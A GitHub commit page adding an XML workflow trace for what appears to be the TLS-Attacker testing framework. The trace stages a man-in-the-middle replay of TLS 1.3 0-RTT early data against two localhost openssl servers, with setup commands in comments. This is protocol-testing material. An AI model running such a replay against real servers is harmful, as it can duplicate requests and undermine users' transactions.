Skip to content

Commit 69e293b

Browse files
mmaehrenmmaehren
committed
Added xml-trace for 0-RTT replay attacks using 2 servers
(see draft21 appendix E.5)
1 parent 37aa075 commit 69e293b

File tree

1 file changed

+82
-0
lines changed

1 file changed

+82
-0
lines changed

‎resources/examples/0rtt_replay2servers.xml‎

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2+
<!-- A MITM trace to replay 0-RTT data by sending it to another server with the same certificate
3+
4+
Run server 1 using:
5+
openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem -tls1_3 -early_data
6+
Run server 2 using:
7+
openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem -tls1_3 -early_data -port 4434
8+
9+
Run client using:
10+
openssl s_client -connect 127.0.0.1:4433 -tls1_3 -early_data earlyDataFile -sess_out 0rtt.pem
11+
12+
Stop the client, start TlsAttacker using this trace and run client again using:
13+
openssl s_client -connect 127.0.0.1:4432 -tls1_3 -early_data earlyDataFile -sess_in 0rtt.pem
14+
15+
Server 1 should accept and print the early data (although EndOfEarlyData is missing)
16+
Server 2 should accept the re-transmitted application data
17+
-->
18+
<workflowTrace>
19+
<OutboundConnection>
20+
<alias>mitm2server</alias>
21+
<port>4433</port>
22+
<hostname>localhost</hostname>
23+
<timeout>100</timeout>
24+
</OutboundConnection>
25+
<OutboundConnection>
26+
<alias>mitm2server2</alias>
27+
<port>4434</port>
28+
<hostname>localhost</hostname>
29+
<timeout>100</timeout>
30+
</OutboundConnection>
31+
<InboundConnection>
32+
<alias>client2mitm</alias>
33+
<port>4432</port>
34+
<timeout>100</timeout>
35+
</InboundConnection>
36+
<!-- Buffer incoming ClientHello and early data -->
37+
<BufferedGenericReceive>
38+
<connectionAlias>client2mitm</connectionAlias>
39+
<messages/>
40+
<records/>
41+
</BufferedGenericReceive>
42+
<!-- Copy buffers to send the messages to the 1st server -->
43+
<DeepCopyBuffers>
44+
<from>client2mitm</from>
45+
<to>mitm2server</to>
46+
</DeepCopyBuffers>
47+
<!-- Copy buffers to send the messages to the 2nd server -->
48+
<DeepCopyBuffers>
49+
<from>client2mitm</from>
50+
<to>mitm2server2</to>
51+
</DeepCopyBuffers>
52+
<!-- Send ClientHello to 1st server -->
53+
<PopAndSendRecord>
54+
<connectionAlias>mitm2server</connectionAlias>
55+
</PopAndSendRecord>
56+
<!-- Send early data to 1st server -->
57+
<PopAndSendRecord>
58+
<connectionAlias>mitm2server</connectionAlias>
59+
</PopAndSendRecord>
60+
<!-- Send ClientHello to 2nd server -->
61+
<PopAndSendRecord>
62+
<connectionAlias>mitm2server2</connectionAlias>
63+
</PopAndSendRecord>
64+
<!-- Send early data to 2nd server -->
65+
<PopAndSendRecord>
66+
<connectionAlias>mitm2server2</connectionAlias>
67+
</PopAndSendRecord>
68+
<!-- Reset connection to 1st server (from now on, the client will only talk to server 2)-->
69+
<ResetConnection>
70+
<connectionAlias>mitm2server</connectionAlias>
71+
</ResetConnection>
72+
<!-- Forward server responses to client -->
73+
<ForwardRecords>
74+
<receiveFromAlias>mitm2server2</receiveFromAlias>
75+
<forwardToAlias>client2mitm</forwardToAlias>
76+
</ForwardRecords>
77+
<!-- Forward client's handshake messages + retransmitted AppData to Server -->
78+
<ForwardRecords>
79+
<receiveFromAlias>client2mitm</receiveFromAlias>
80+
<forwardToAlias>mitm2server2</forwardToAlias>
81+
</ForwardRecords>
82+
</workflowTrace>

0 commit comments

Comments
 (0)